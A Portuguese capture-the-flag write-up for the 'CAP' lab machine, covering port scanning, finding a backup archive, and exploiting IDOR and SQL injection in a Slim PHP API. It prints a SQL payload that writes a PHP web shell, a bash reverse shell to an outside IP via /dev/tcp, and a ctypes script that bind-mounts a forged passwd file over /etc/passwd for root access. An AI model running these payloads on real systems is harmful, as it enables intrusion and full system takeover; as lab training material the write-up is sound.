- Published on
CAP Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Plataforma: Hacking Club
Dificuldade: Medium
Nome: CAP
Port Scanning
nmap -sV -sC -p- -v $IP --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 ae:5c:8b:8d:2f:10:85:62:01:ea:74:f5:49:38:02:33 (RSA)
| 256 64:e1:6d:0e:6c:53:87:eb:2a:07:38:6a:34:47:fc:b4 (ECDSA)
|_ 256 08:53:53:7e:20:20:6e:21:9b:0c:36:fa:2b:11:73:f4 (ED25519)
80/tcp open http Apache httpd 2.4.48 (() PHP/7.4.15)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Site doesn't have a title (application/json).
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: Apache/2.4.48 () PHP/7.4.15
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MariaDB (unauthorized)
Enumeration
http://172.16.3.201
Fuzzing
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.16.3.201/FUZZ -e .php,.zip -ic
Esqueci da print 😄
backup.zip [Status: 200, Size: 59088, Words: 251, Lines: 209, Duration: 214ms]
Arquivo backup.zip
achado via fuzzing.
Após unzipar, temos o código da aplicação:
A aplicação se trata de um Slim, um framework do php utilizado principalmente em criações de aplicações web e APIS simples, mas poderosas.
Code Review
Temos a rota /_ul/:controller/(:parameter)
/_ul/
: A URL começa com/_ul/
, que pode ser o início de um caminho de uma API ou URL para uma funcionalidade específica.:controller
: A parte:controller
é um parametro dinâmico. No Slim, quando se usa:parametro
, ele indica que esse segmento da URL será capturado e passado como parâmetro para a função de callback. Nesse caso, ele vai estar utilizando a classeusuarios
da API.(/:parameter)
: O parâmetroparameter
é opcional, como indicado pelos parênteses ao redor dele. Se presente, ele será capturado e passado para a função. Caso contrário, o parâmetroparameter
terá o valornull
por padrão.
A classe usuários que o :parametro vai utilizar, se trata de uma consulta no banco de dados, mais especificamente para buscar informações sobre os usuários.
Ou seja a rota completa seria /_ul/usuarios/{id}
, aonde o ID seria o dado inserido pra ser pesquisado no banco de dados.
http://172.16.3.201/_ul/usuarios/1
Podemos ver que a API em questão esta vulneravel a IDOR.
http://172.16.3.201/_ul/usuarios/2
Além do IDOR, podemos identificar um SQL Injection, pois a aplicação não esta realizando nenhum tipo de sanitização na hora da consulta no banco de dados.
Quando passamos uma aspas simples, vemos que ele quebra a query de consulta.
Novamente, olhando o código, podemos perceber que a API faz uma requisição do tipo POST que podemos utilizar para subir uma webshell.
o include_once
está incluindo um arquivo e executando o que esta dentro dele, o torna possível uma web shell.
No caso, gravaríamos a webshell em /var/www/html/classes/webshell.php
3 UNION SELECT 1,"<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/classes/shell.class.php'#
A aplicação retornou null, ou seja funcionou!
Pra acessar a web shell ,teremos que mandar uma requisição do tipo POST, para a URL /_ul/shell.php?cmd=id
Foot Hold
bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'
OBS: Lembre de encodar a payload com CTRL+U
no Burp.
Privillege Escalation
getcap -r / 2>/dev/null
cp /etc/passwd ./ #Cria uma cópia do /etc/passwd
openssl passwd -1 -salt abc password #Cria o Hash pra colocar no /tmp/passwd
nano /etc/passwd #Troca a senha do root para 'password'
Por fim só executar o exploit.py
#exploit.py
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/tmp/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
Referencia
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities